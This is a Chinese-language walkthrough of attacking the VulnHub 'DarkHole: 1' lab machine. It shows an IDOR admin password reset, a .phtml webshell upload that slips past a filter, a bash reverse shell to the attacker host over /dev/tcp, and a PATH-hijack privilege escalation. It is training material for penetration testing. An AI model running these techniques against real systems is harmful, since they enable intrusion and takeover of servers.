vulnhub-darkhole:1打靶
环境
vulnhub项目 https://www.vulnhub.com/entry/darkhole-1,724/
靶机:172.16.17.153
攻击机kali:172.16.17.140
信息收集
nmap扫一下
插件看到web指纹
扫一下目录
config目录存在目录遍历,下载不下来
Exploit
垂直越权
注册一个账号看看,在注册的时候,用户名使用admin,报用户或者邮箱存在,应该存在一个admin账号,继续往下
登录进去,发现可以修改密码,同时url处看到id=2
修改id为1,提示没有权限,那么此处应该存在越权
抓包修改密码的数据包
修改id参数
退出test账号,使用admin登录,登录成功,出现一个上传点
上传webshell
上传一句话发现有限制
传一个.php3后缀的试试,发现可以上传,虽然不被解析,但起码说明并不是白名单
前面得到服务器为apache,尝试apache解析漏洞,抓包慢慢fuzz
最后使用.phtml成功绕过,中间件解析漏洞
看一下最开始信息收集的那个database.php,得到数据库账号密码
提权
蚁剑反弹一个交互式shell到kali
1 | bash -c 'exec bash -i &>/dev/tcp/172.16.17.140/4444 <&1' |
在家目录下翻到一个john用户,存在root权限的文件
运行发现是以john用户执行了id命令
思路:我们可以自己构造一个id命令写入shell,替换掉原来的环境变量到这我们构造的id命令下
1 | echo '/bin/bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH |
在john家目录下得到flag和john的密码
ssh得到一个完全交互式shell
看一下sudo执行的文件
写入反弹shell的python语句
这里要注意,要使用绝对路径去执行file.py,否则会报权限不够